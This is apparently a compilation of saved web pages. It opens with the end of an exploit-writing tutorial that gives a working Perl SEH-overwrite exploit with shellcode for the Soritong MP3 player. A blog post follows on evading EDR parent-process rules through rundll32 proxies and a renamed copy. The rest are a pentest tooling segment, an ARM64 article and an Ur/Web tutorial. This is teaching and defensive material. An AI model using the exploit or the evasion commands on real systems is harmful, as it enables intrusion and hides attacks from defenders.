    0012fda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0012fdb4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0012fdc4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0012fdd4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    
[/code]

Perfect, the shellcode is visible and starts exactly where we had expected. I
have used a short string to test the shellcode, it may be a good idea to use a
longer string \(just to verify that there are no “holes” in the shellcode
anywhere\). If the shellcode starts at an offset of where it should start,
then you’ll need to modify the jumpcode \(at nSEH\) so it would jump further.

Now we are ready to build the exploit with real shellcode \(and replace the
breakpoints at nSEH again with the jumpcode\)

[code]

    # Exploit for Soritong MP3 player
    #
    # Written by Peter Van Eeckhoutte
    # http://www.corelan.be:8800
    #
    #
    
    my $junk = "A" x 584;
    
    my $nextSEHoverwrite = "\xeb\x06\x90\x90";  #jump 6 bytes
    
    my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret from player.dll
    
    # win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
    my $shellcode =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
    "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
    "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
    "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
    "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
    "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
    "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
    "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
    "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
    "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
    "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
    "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
    "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
    "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
    "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
    "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
    "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
    "\x4e\x36\x43\x46\x42\x50\x5a";
    
    my $junk2   = "\x90" x 1000;
    
    open(myfile,'>ui.txt');
    
    print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;
    
[/code]

Create the ui.txt file and open soritong.exe directly \(not from the debugger
this time\)

<img src='img/Temp2_2954.png' width='135' height='132' alt='image' />

pwned \!

Now let’s see what happened under the hood. Put a breakpoint at the beginning
of the shellcode and run the soritong.exe application from windbg again :

First chance exception :

The stack \(ESP\) points at 0×0012da14

[code]

    eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e4ec edi=0012fd64
    eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei ng nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296
    
[/code]

[code]

    0:000> !exchain
    0012fd64: *** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\Player.dll
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\SoriTong\Player.dll -
    Player!Player_Action+9528 (10018de8)
    Invalid exception stack at 909006eb
    
[/code]

=> EH Handler points at 10018de8 \(which is the pop pop ret\). When we allow
the application to run again, the pop pop ret will execute and will trigger
another exception.

When that happens, the “BE 06 90 90” code will be executed \(the next SEH\)
and EIP will point at 0012fd6c, which is our shellcode :

[code]

    0:000> g
    (f0c.b80): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=00000000 ecx=10018de8 edx=7c9032bc esi=0012d72c edi=7c9032a8
    eip=0012fd6c esp=0012d650 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    <Unloaded_ud.drv>+0x12fd6b:
    0012fd6c cc              int     3
    
[/code]

[code]

    0:000> u 0012fd64
    <Unloaded_ud.drv>+0x12fd63:
    0012fd64 eb06            jmp     <Unloaded_ud.drv>+0x12fd6b (**0012fd6c**)
    0012fd66 90              nop
    0012fd67 90              nop
    
[/code]

[code]

    0:000> d 0012fd60
    0012fd60  **41 41 41 41 eb 06 90 90**-**e8 8d 01 10** **cc eb 03 59**  AAAA...........Y
    0012fd70  eb 05 e8 f8 ff ff ff 4f-49 49 49 49 49 49 51 5a  .......OIIIIIIQZ
    0012fd80  56 54 58 36 33 30 56 58-34 41 30 42 36 48 48 30  VTX630VX4A0B6HH0
    0012fd90  42 33 30 42 43 56 58 32-42 44 42 48 34 41 32 41  B30BCVX2BDBH4A2A
    0012fda0  44 30 41 44 54 42 44 51-42 30 41 44 41 56 58 34  D0ADTBDQB0ADAVX4
    0012fdb0  5a 38 42 44 4a 4f 4d 4e-4f 4a 4e 46 44 42 30 42  Z8BDJOMNOJNFDB0B
    0012fdc0  50 42 30 4b 38 45 54 4e-33 4b 58 4e 37 45 50 4a  PB0K8ETN3KXN7EPJ
    0012fdd0  47 41 30 4f 4e 4b 38 4f-44 4a 41 4b 48 4f 35 42  GA0ONK8ODJAKHO5B
    
[/code]

  * **41 41 41 41** : last characters of buffer
  * **eb 06 90 90** : next SEH, do a 6byte jump
  * **e8 8d 01 10** : current SE Handler \(pop pop ret, which will trigger the next exception, making the code go to the next SEH pointer and run “eb 06 90 90”\)
  * **cc eb 03 59** : begin of shellcode \(I added a \xcc which is the breakpoint\), at address 0×0012fd6c

You can watch the exploit building process in the following video :

<img src='img/Temp2_2971.png' />

YouTube – Exploiting Soritong MP3 Player \(SEH\) on Windows XP SP3

You can view/visit my playlist \(with this and future exploit writing
video’s\) at **Writing Exploits**

### Finding pop pop ret \(and other usable instructions\) via memdump

In this \(and previous exploit writing tutorial articles\), we have looked at
2 ways to find certain instructions in dll’s, .exe files or drivers… : using a
search in memory via windbg, or by using findjmp. There is a third way to find
usable instructions : using memdump.

Metasploit \(for Linux\) has a utility called memdump.exe \(somewhere hidden
in the tools folder\). So if you have installed metasploit on a windows
machine \(inside cygwin\), then you can start using it right away

<img src='img/Temp2_2951.png' width='398' height='150' alt='image' />

First, launch the application that you are trying to exploit \(without
debugger\). Then find the process ID for this application.

Create a folder on your harddrive and then run

[code]

    memdump.exe processID c:\foldername
    
[/code]

Example :

[code]

    memdump.exe 3524 c:\cygwin\home\peter\memdump
    [*] Creating dump directory...c:\cygwin\home\peter\memdump
    [*] Attaching to 3524...
    [*] Dumping segments...
    [*] Dump completed successfully, 112 segments.
    
[/code]

Now, from a cygwin command line, run msfpescan \(can be found directly under
in the metasploit folder\) and pipe the output to a text file

[code]

    peter@xptest2 ~/framework-3.2
    $ ./msfpescan -p -M /home/peter/memdump > /home/peter/scanresults.txt
    
[/code]

Open the txt file, and you will get all interesting instructions.

<img src='img/Temp2_2966.png' width='436' height='264' alt='image' />

All that is left is find an address without null bytes, that is contained in
one of the dll’s that use not /SafeSEH compiled. So instead of having to build
opcode for pop pop ret combinations and looking in memory, you can just dump
memory and list all pop pop ret combinations at once. Saves you some time :-\)

> Questions ? Comments ? Tips & Tricks ?
> http://www.corelan.be:8800/index.php/forum/writing-exploits
### Some interesting debugger links

Ollydbg

OllySSEH module

Ollydbg plugins

Windbg

Windbg \!exploitable module

© 2009, Peter Van Eeckhoutte. **All rights reserved. Terms of Use are
applicable to all content on this blog.**  _If you want to use/reuse parts of
the content on this blog, you must provide a link to the original content on
this blog._

  

# Force-Directed Edge Bundling for Graph Visualization

**Created:**| _2/13/2010 7:02:13 PM_  
---|---  
**Updated:**| _2/13/2010 7:02:40 PM_  
**Author:**| __  
**Tags:**| _papers visualization_  
  
<img src='img/Temp2_3246' />

# Hexacorn | Blog
**Created:**| _5/7/2017 10:23:23 AM_  
---|---  
**Updated:**| _5/7/2017 10:23:23 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

  

# Hexacorn | Blog
## Running programs via Proxy & jumping on a EDR-bypass trampoline

May 1, 2017 _inAnti-\*, EDR, Incident Response _

The parent-child process relationship is very helpful when it comes to
defining detection rules and watchlists. For instance, anytime a winword.exe
spawns a cmd.exe, powershell.exe, cscript.exe, wscript.exe, mshta.exe it is an
obvious anomaly that may be a sign of an Office macro-based infection.

However, insert an unexpected process in-between and the rule/watchlist fails.
Perhaps for this reason, it would be nice to have EDR rulesets that can refer
not only to parents, but also to ancestors of the process.

Since this relationship is prone to manipulation let’s have a look at a couple
of possible examples:

  * 
[code]    rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe

[/code]

  * 
[code]    rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe

[/code]

  * 
[code]    rundll32 url.dll, FileProtocolHandler calc.exe

[/code]

  * 
[code]    rundll32 zipfldr.dll, RouteTheCall calc.exe

[/code]

Running any of these commands will launch calc.exe with the rundll32.exe as a
parent.

Obviously, rundll32.exe is an obvious bad guy too. What about we copy it
first?

[code]

    copy c:\windows\system32\rundll32.exe %appdata%\Adobe\adobe.exe
[/code]

Now, we can launch:

  * 
[code]    %appdata%\adobe\adobe.exe url.dll, OpenURL
file://c:\windows\system32\calc.exe

[/code]

  * 
[code]    %appdata%\adobe\adobe.exe url.dll, OpenURLA
file://c:\windows\system32\calc.exe

[/code]

  * 
[code]    %appdata%\adobe\adobe.exe url.dll, FileProtocolHandler calc.exe

[/code]

  * 
[code]    %appdata%\adobe\adobe.exe zipfldr.dll, RouteTheCall calc.exe

[/code]

And get the very same result, this time, with the parent process being
adobe.exe.

If you know any other EXE/DLL combo that can act as a proxy, I’d be grateful
if you could let me know. Thanks\!

Share this <img src='img/5037_1f642.svg' width='576' height='576' alt='🙂' />

Comments Off on Running programs via Proxy & jumping on a EDR-bypass
trampoline

Comments are closed.

  

# BlueHat v8: Mitigations Unplugged

**Created:**| _4/21/2011 10:28:12 AM_  
---|---  
**Updated:**| _4/21/2011 10:32:07 AM_  
**Author:**| __  
**Tags:**| _bookmark windows security video conference-material awesome_  
  
BlueHat v8: Mitigations Unplugged

# Episode99 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:40:25 PM_  
---|---  
**Updated:**| _8/5/2009 12:40:40 PM_  
**Author:**| __  
**Tags:**| _Exploit pauldotcom pentest Hacks_  
  

# **Tech Segment: OS X - From Recon to Exploit**

##  Introduction

I've been using a Mac now for quite some time \(3 years roughly\) and never
really thought of it as a pen testing platform. However, in recent months I've
been using it more and more during assessments. I've found that it is well
suited to run the tools I need for target identification, vulnerability
scanning, exploitation, and even wireless assessments\! I am using a MacBook
Pro, which runs a Core 2 Duo processor with 2GB of RAM. Due in large part to
the Intel processor and many developers who've ported their tools, I can atest
that for many penatration testing tasks, OS X is well suited.

## Reconnaisance

Nmap is perhaps the best port scanning tool ever created. The speed and
flexibility of this tool are outstanding. Thankfully it compiles natively on
OS X, provided that you have the following:

  * Xcode toolkit \(compilers and such for OS X\)
  * Darwin Ports \(Tons of open-source software for OS X, for things like python and libpcap\)

Once you've installed the above tools \(they are pretty easy to install\) you
can then download, unpack, compile and install the latest version of Nmap
\(4.53 at the time of this writing\). I've had to scan some pretty large
network recently \(1,000 -> 3,000 devices\) and Nmap has helped my identify
targets quickly. The best case is that you are plugged into the same subnet as
the targets, then run the following:

[code]

    nmap -PR -sP -n -oA mytargets 10.254.0.0/16
    
    
[/code]

The above command will use ARP requests to enumerate all of the hosts on the
network. The "-n" flag disables hostname lookups, and the "-oA" option takes a
filename as a parameter and will output three files containing the results
\(grepable nmap, regular nmap, and xml output\). I like to output all three in
case I decide to do anything with these files later. Another tool that is
great for host discovery is nbtscan which very quickly will enumerate windows
hosts on the network:

[code]

    # nbtscan 192.168.2.1-254
    
    IP address       NetBIOS Name     Server    User             MAC address      
    ------------------------------------------------------------------------------
    192.168.2.30     HANZO            <server>  HANZO            00-00-00-00-00-00
    192.168.2.55     ZATOICHI         <server>  ZATOICHI         00-00-00-00-00-00
    
    
[/code]

## Vulnerability Scanning

Nessus is my favorite vulnerability scanning and has ported the Nessus Client
and Server over to OS X. You can download and install them easily and set it
to automatically update plugins. I like to build scripts to parse the Nmap and
nbtscan output that build files containing the IP address of my targets.
Nessus can be slow when used for host discovery, so I always feed it the
output of other tools. The client and server run great and give you the
results as they come in. When you see a host in a red color that means there
were "Security Holes" found. Once you see that and read about the
vulnerability, on to the next step...

## Exploitation

I am using Core IMPACT for the exploitation piece, running in a VMWare Fusion
virtual machine on Windows XP. However, you could very easily use Metasploit
for this purpose as well as the latest 3.1 version will run natively on OS X.
You can use Darwin ports to install all of the neccassry ruby binaries and
libraries. Using Core IMPACT, I feed in the vulnerable hosts and attempt to
exploit them.

## Conclusion

This process, which can be accomplished using 100% totally free tools, is very
valuable to run on the INSIDE of your network. This is where attackers lie,
typically by compromising desktops, or exploiting other devices on the network
to gain access. It is vitally important that you lock down the hosts on the
inside of the network, and follow the process described above on a regular
basis to ensure that an attacker cannot easily compromise hosts on your
network.

# mikeash.com: Friday Q&A 2013-09-27: ARM64 and You

**Created:**| _9/28/2013 1:21:13 PM_  
---|---  
**Updated:**| _9/28/2013 1:21:13 PM_  
**Author:**| __  
**Tags:**| _x64 arm_  
  

Friday Q&A 2013-09-27: ARM64 and You

by Mike Ash

Ever since the iPhone 5S was announced a couple of weeks ago , the world of
tech journalism has been filled  with massive  quantities  of misinformation
**.** Unfortunately, good information takes time, and the world of tech
journalism is more about speed than accuracy**.** Today, as suggested by a
variety of readers, I'm going to give the rundown of just what 64-bit ARM in
the iPhone 5S means for you, in terms of performance, capabilities, and
development**.**

**" 64-bit"**  
Let's start by talking about the general term "64-bit" and what it means**.**
There's a lot of confusion around this term, and a lot of that is because
there's no single agreed-upon definition of it**.** However, there is
_generally_ some consensus about it, even if it's not universal**.**

There are two parts of the CPU that "X-bit" usually refers to: the width of
the integer registers, and the width of pointers**.** Thankfully, in most
modern CPUs, these widths are the same**.** "64-bit" then typically means that
the CPU has 64-bit integer registers and 64-bit pointers**.**

It's also important to point out the things that "64-bit" does _not_ refer to,
as there's a lot of confusion in this area as well**.** In particular,
"64-bit" does not include:

  1. Physical RAM address size**.** The number of bits used to actually talk to RAM \(and therefore the amount of RAM the hardware can support\) is decoupled from the question of CPU bitness**.** ARM CPUs have ranged from 26 bits to 40 bits, and this can be changed independently from the rest**.**
  2. Data bus size. The amount of data fetched from RAM or cache is likewise decoupled**.** Individual CPU instructions may request a certain amount of data, but the amount of data actually fetched can be independent, either by splitting the fetch into smaller parts, or fetching more than is necessary**.** The iPhone 5 already fetches data from memory in 64-bit chunks, and chunk sizes of up to 192 bits exist in the PC world**.**
  3. Anything related to floating-point. FPU register size and internal design is independent, and ARM CPUs have had 64-bit FPU registers since well before ARM64**.**

**Generic Advantages and Disadvantages**  
If we compare otherwise-identical 32-bit and 64-bit CPUs, there isn't a whole
lot of difference, which is a big part of the confusion around the
significance of Apple's move to 64-bit ARM**.** The move is important, but
largely because of specifics of the ARM processor and Apple's use of it**.**

Still, there are some differences. Perhaps the most obvious is that 64-bit
integer registers make it more efficient to work with 64-bit integers**.** You
can still work with 64-bit integers on a 32-bit processor, but it typically
entails working with it in two 32-bit pieces, which means that arithmetic can
take substantially longer**.** 64-bit CPUs can typically perform arithmetic on
64-bit quantities just as fast as on 32-bit quantities, so code that does
heavy manipulation of 64-bit integers will run much faster**.**

Although 64-bit has no bearing on the amount of RAM that can be used by the
CPU itself, it can make it much easier to use large amounts of RAM within a
single program**.** A single program running on a 32-bit CPU only has 4GB of
address space**.** Chunks of that address space are taken up by the operating
system and standard libraries and such, typically leaving anywhere from 1-3GB
available for use**.** If a 32-bit system has more than 4GB of RAM, taking
advantage of all of it from a single program is tough**.** You have to resort
to shenanigans like asking the operating system to map chunks of memory in and
out of your process as you need them, or splitting your program into multiple
processes**.**

This takes a lot of extra programming effort and can slow things down, so few
programs actually do it**.** In practice, a 32-bit CPU limits individual
programs to using 1-3GB of RAM each, and the advantage of having more RAM is
the ability to run multiple such programs simultaneously, and the ability to
cache more data from disk**.** This is still useful, but there are cases where
the ability of a single program to use more RAM is needed**.**

The increased address space is also useful even on a system without that much
RAM**.** Memory-mapped files are a handy construct, where the contents of a
file are logically mapped into a process's memory space, even though physical
RAM is not necessarily allocated for the entire file**.** On a 32-bit system,
a program can't memory map large files \(over, say, a few hundred megabytes\)
reliably**.** On a 64-bit system, the available address space is much larger,
so there's no concern with running out**.**

The increased pointer size comes with a substantial downside: otherwise-
identical programs will use more memory, perhaps a lot more, when running on a
64-bit CPU**.** Pointers have to be stored in memory as well, and each pointer
takes twice the amount of memory**.** Pointers are really common in most most
programs, so that can make a substantial difference**.** Increased memory
usage can put more pressure on caches, causing reduced performance**.**

In short: 64-bit can increase performance for certain types of code, and makes
certain programming techniques, like memory mapped files, more viable**.**
However, it can also decrease performance due to increased memory usage**.**

**ARM64**  
The iPhone 5S's 64-bit CPU is not merely a regular ARM processor with wider
registers**.** The 64-bit ARM architecture includes substantial changes from
the 32-bit version**.**

First, a note on the name: the official name from ARM is "AArch64", but this
is a silly name that pains me to type**.** Apple calls it ARM64, and that's
what I will call it too**.**

ARM64 doubles the number of integer registers over 32-bit ARM**.** 32-bit ARM
provides 16 integer registers, of which one is a dedicated program counter,
two more are given over to a stack pointer and link register, and the other 13
are available for general use**.** With ARM64, there are 32 integer registers,
with a dedicated zero register, link register, and frame pointer register**.**
One further register is reserved for the platform, leaving 28 general purpose
integer registers**.**

ARM64 also increases the number of floating-point registers available**.** The
floating point registers on 32-bit ARM are a bit odd, so it's tough to
compare**.** It has 32 32-bit floating point registers which can also be
viewed as 16 overlapped 64-bit registers, and there are 16 additional
independent 64-bit registers**.** These registers can also be viewed as 16
overlapped 128-bit registers**.** ARM64 simplifies this to 32 128-bit
registers, which can also be used for smaller data types, and there's no
overlapping**.**

The register count can strongly influence performance**.** Memory is extremely
slow compared to CPUs, and reading from and writing to memory takes a long
time compared to how long it takes the CPU to process an instruction**.** CPUs
try to hide this with layers of caches, but even the fastest layer of cache is
slow compared to internal CPU registers**.** More registers means more data
can be kept purely CPU-internal, reducing memory accesses and increasing
performance**.**

Just how much of a difference this makes will depend on the specific code in
question, as well as how good the compiler is at optimizing it to make the
best use of available registers**.** When the Intel architecture moved from
32-bit to 64-bit, the number of registers was doubled from 8 to 16, and this
made for a substantial performance improvement**.** ARM already had
substantially more registers than the 32-bit Intel architecture, so the impact
of additional registers is smaller, but it's a still helpful change**.**

ARM64 also brings some significant changes to the instruction set beyond the
increased number of registers**.**

Most 32-bit ARM can be executed conditionally based on the state of a
condition register at the time of execution**.** This allows compiling `if`
statements and similar without requiring branching**.** Intended to increase
performance, it must have been causing more trouble than it was worth, as
ARM64 eliminates conditional execution**.**

ARM64's NEON SIMD unit provides full double-precision IEEE754 compliance,
whereas the 32-bit version of NEON only supports single-precision, and leaves
out some of the harder, more obscure bits of IEEE754**.**

ARM64 adds specialized instructions for AES encryption and SHA-1 and SHA-256
cryptographic hashes**.** Not important in general, but potentially a big win
if you happen to be doing those things**.**

Overall, by far the most important changes are the greatly increased number of
general-purpose registers, and support for full IEEE754-compliant double-
precision arithmetic in NEON**.** These changes could allow for considerable
performance increases in a lot of code**.**

**32-bit Compatibility**  
It's important to note that the A7 includes a full 32-bit compatibility mode
that allows running normal 32-bit ARM code without any changes and without
emulation**.** This means that the iPhone 5S runs old iPhone apps with no
problem and no performance impact compared to other hardware**.** 32-bit code
does potentially run with somewhat reduced performance since it gets none of
the advantages of ARM64**.**

**Apple Runtime Changes**  
Apple takes advantage of architecture changes like this to make changes in
their own libraries**.** Since they don't need to worry about maintaining
binary compatibility across such a change, it's a good time to make changes
that would otherwise break existing apps**.**

In Mac OS X 10.7, Apple introduced tagged pointers **.** Tagged pointers allow
certain classes with small amounts of per-instance data to be stored entirely
within the pointer**.** This can eliminate the need for memory allocations for
many uses of classes like `NSNumber`, and can make for a good performance
boost**.** Tagged pointers were only supported on 64-bit, partly due to binary
compatibility concerns, but partly because 32-bit pointers don't leave a lot
of room left over for actual data once the tag bits are accounted for**.**
Presumably because of that, iOS never got tagged pointers**.** However, on
ARM64, the Objective-C runtime includes tagged pointers, with all of the same
benefits they've brought to the Mac**.**

Although pointers are 64 bits, not all of those bits are really used**.** Mac
OS X on x86-64, for example, only uses 47 bits of a pointer**.** iOS on ARM64
uses even less, with only 33 bits of a pointer currently being used**.** As
long as the extra bits are masked off before the pointer is used, they can be
used to store other data**.** This leads to one of the most significant
internal changes in the Objective-C runtime in the language's history**.**

**Repurposed`isa` Pointer**  
Much of the information for this section comes from Greg Parker's article on
the relevant changes **.** Check that out for information straight from the
source**.**

First, a quick refresher: Objective-C objects are contiguous chunks of
memory**.** The first pointer-sized piece of that memory is the `isa`**.**
Traditionally, the `isa` is a pointer to the object\`s class**.** For more
information on how objects are laid out in memory, see my article on the
Objective-C runtime **.**

Using an entire pointer-sized piece of memory for the `isa` pointer is a bit
wasteful, especially on 64-bit CPUs which don't use all 64 bits of a
pointer**.** ARM64 running iOS currently uses only 33 bits of a pointer,
leaving 31 bits for other purposes**.** Class pointers are also aligned,
meaning that a class pointer is guaranteed to be divisible by `8`, which frees
up another three bits, leaving 34 bits of the `isa` available for other
uses**.** Apple's ARM64 runtime takes advantage of this for some great
performance improvements**.**

Probably the important performance improvement is an inline reference
count**.** Nearly all Objective-C objects are reference counted \(the
exceptions being constant objects like `NSString` literals\) and
`retain`/`release` operations to modify the reference count happen extremely
frequently**.** This is especially true with ARC, which emits even more
`retain`/`release` calls than a typical human programmer**.** As such, high
performance for `retain` and `release` is critical**.**

Traditionally, the reference count is not stored in the object itself**.** If
the `isa` is the only field every object shares, then there's simply no room
for any additional data**.** It would be possible to make it so that every
object also contains a reference count field, but this would use up a great
deal more memory**.** This is less important today, but it was a pretty big
deal in the earlier days of Objective-C**.** Because of this, the retain count
is stored in an external table**.**

Any time an object is retained, the runtime goes through this procedure:

  1. Fetch a global retain count hash table**.**
  2. Lock the table to make the operation thread safe**.**
  3. Look up the retain count of the object in the table**.**
  4. Increment the count and store the new value back in the table**.**
  5. Release the table lock**.**

This is a bit slow\! The hash table implementation used for tracking retain
counts is fast, for a hash table, but even the best hash tables are slow
compared to direct memory access**.**

On ARM64, 19 bits of the `isa` field go to holding the object's reference
count inline**.** That means that the procedure for retaining an object
simplifies to:

  1. Perform an atomic increment of the correct portion of the `isa` field**.**

And that's it\! This should be much, much faster**.**

There is a bit more to it than just that, because of some corner cases that
need to be handled**.** The real code looks more like this:

  1. The bottom bit of the `isa` indicates whether all this extra data is active for this class**.** If it's not active, then fall back to the old hash table approach**.** This allows for a compatibility mode for classes that fall outside the representable range, or programs that incorrectly assume the `isa` is a pure class pointer**.**
  2. If the object is currently deallocating, do nothing**.**
  3. Increment the retain count, but don't store it back into the `isa` just yet**.**
  4. If it overflowed \(an unusual but real possibility with only 19 bits available\) then fall back to a hash table**.**
  5. Perform an atomic store of the new `isa` value**.**

Most of this was necessary with the old approach as well, and it doesn't add
too much overhead**.** The new approach should still be much, much faster**.**

There are several other performance improvements stuffed into the remaining
free bits that make deallocating objects faster**.** There's potentially a lot
of cleanup that needs to be done when an Objective-C object deallocates, and
being able to skip unnecessary cleanup can increase performance**.** These
are:

  1. Whether the object ever had any associated objects, set with `objc_setAssociatedObject`**.** If not, then associated objects don't need to be cleaned up**.**
  2. Whether the object has a C++ destructor method, which is also used as the ARC automatic `dealloc` method**.** If not, then it doesn't need to be called**.**
  3. Whether the object has ever been referenced by a `__weak` variable**.** If it has, then any remaining `__weak` references need to be zeroed**.** If not, then this step can be skipped.

Previously, all of these flags were tracked per-class**.** If any instance of
a class ever had an associated object set on it, for example, then _every_
instance of that class would perform associated object cleanup when
deallocating from that point on**.** Tracking them for each instance
independently helps ensure that only the instances that really need it take
the performance hit**.**

Adding it all together, it's a pretty big win**.** My casual benchmarking
indicates that basic object creation and destruction takes about 380ns on a 5S
running in 32-bit mode, while it's only about 200ns when running in 64-bit
mode**.** If any instance of the class has ever had a weak reference and an
associated object set, the 32-bit time rises to about 480ns, while the 64-bit
time remains around 200ns for any instances that were not themselves the
target**.**

In short, the improvements to Apple's runtime make it so that object
allocation in 64-bit mode costs only 40-50% of what it does in 32-bit
mode**.** If your app creates and destroys a lot of objects, that's a big
deal**.**

**Conclusion**  
The "64-bit" A7 is not just a marketing gimmic, but neither is it an amazing
breakthrough that enables a new class of applications**.** The truth, as
happens often, lies in between.

The simple fact of moving to 64-bit does little**.** It makes for slightly
faster computations in some cases, somewhat higher memory usage for most
programs, and makes certain programming techniques more viable**.** Overall,
it's not hugely significant**.**

The ARM architecture changed a bunch of other things in its transition to
64-bit**.** An increased number of registers and a revised, streamlined
instruction set make for a nice performance gain over 32-bit ARM**.**

Apple took advantage of the transition to make some changes of their own**.**
The biggest change is an inline retain count, which eliminates the need to
perform a costly hash table lookup for `retain` and `release` operations in
the common case**.** Since those operations are so common in most Objective-C
code, this is a big win**.** Per-object resource cleanup flags make object
deallocation quite a bit faster in certain cases**.** All in all, the cost of
creating and destroying an object is roughly cut in half**.** Tagged pointers
also make for a nice performance win as well as reduced memory use**.**

ARM64 is a welcome addition to Apple's hardware**.** We all knew it would
happen eventually, but few expected it this soon**.** It's here now, and it's
great.

That's it for today**.** Check back next time for more adventures in the land
of hardware and software**.** Friday Q&A is driven by reader suggestions, so
if an idea pops into your head between now and then for a topic you'd like to
see covered here, please send it in **\!**

****

# Chapter 1: Introduction

**Created:**| _7/17/2011 6:06:42 PM_  
---|---  
**Updated:**| _7/17/2011 6:06:42 PM_  
**Author:**| __  
**Tags:**| _Tutorials programming OCaml Functional_  
  

# Chapter 1: Introduction

[code]

    
[/code]

This tutorial by Adam Chlipala is licensed under a Creative Commons
Attribution-Noncommercial-No Derivative Works 3.0 Unported License.

[code]

    
[/code]

This is a tutorial for the Ur/Web programming language. The official project
web site is your starting point for information, like a reference manual and a
pointer to download the latest code release. In this tutorial, we'll just
focus on introducing the language features.

[code]

    
[/code]

Ur/Web contains a web-independent core language called Ur, which will be the
subject of the first few chapters of the tutorial. Ur inherits its foundation
from ML and Haskell, then going further to add fancier stuff. This first
chapter of the tutorial reviews the key ML and Haskell features, giving their
syntax in Ur. I do assume reading familiarity with ML and Haskell and won't
dwell too much on explaining the imported features.

[code]

    
[/code]

## Basics

[code]

    
[/code]

Let's start with features shared with both ML and Haskell. First, we have the
basic numeric, string, and Boolean stuff. \(In the following examples, `==` is
used to indicate the result of evaluating an expression. It's not valid Ur
syntax\!\)

[code]

    1 + 1
    == 2
    
    1.2 + 3.4
    == 4.6
    
    "Hello " ^ "world!"
    == "Hello world!"
    
    1 + 1 < 6
    == True
    
    0.0 < -3.2
    == False
    
    "Hello" = "Goodbye" || (1 * 2 <> 8 && True <> False)
    == True
    
    
[/code]

We also have function definitions with type inference for parameter and return
types.

[code]

    fun double n = 2 * n
    
    double 8
    == 16
    
    fun fact n = if n = 0 then 1 else n * fact (n - 1)
    
    fact 5
    == 120
    
    fun isEven n = n = 0 || isOdd (n - 1)
    and isOdd n = n = 1 || isEven (n - 1)
    
    isEven 32
    == True
    
    
    
[/code]

Of course we have anonymous functions, too.

[code]

    val inc = fn x => x + 1
    
    inc 3
    == 4
    
    
[/code]

Then there's parametric polymorphism. Unlike in ML and Haskell, polymorphic
functions in Ur/Web often require full type annotations. That is because more
advanced features \(which we'll get to in the next chapter\) make Ur type
inference undecidable.

[code]

    fun id [a] (x : a) : a = x
    
    id "hi"
    == "hi"
    
    fun compose [a] [b] [c] (f : b -> c) (g : a -> b) (x : a) : c = f (g x)
    
    compose inc inc 3
    == 5
    
    
[/code]

The `option` type family is like ML's `option` or Haskell's `Maybe`. We also
have a `case` expression form lifted directly from ML. Note that, while Ur
follows most syntactic conventions of ML, one key difference is that type
family names appear before their arguments, as in Haskell.

[code]

    fun predecessor (n : int) : option int = if n >= 1 then Some (n - 1) else None
    
    predecessor 6
    == Some(5)
    
    predecessor 0
    == None
    
    
[/code]

Naturally, there are lists, too\!

[code]

    val numbers : list int = 1 :: 2 :: 3 :: []
    val strings : list string = "a" :: "bc" :: []
    
    fun length [a] (ls : list a) : int =
        case ls of
            [] => 0
          | _ :: ls' => 1 + length ls'
    
    length numbers
    == 3
    
    length strings
    == 2
    
    
[/code]

And lists make a good setting for demonstrating higher-order functions and
local functions. \(This example also introduces one idiosyncrasy of Ur, which
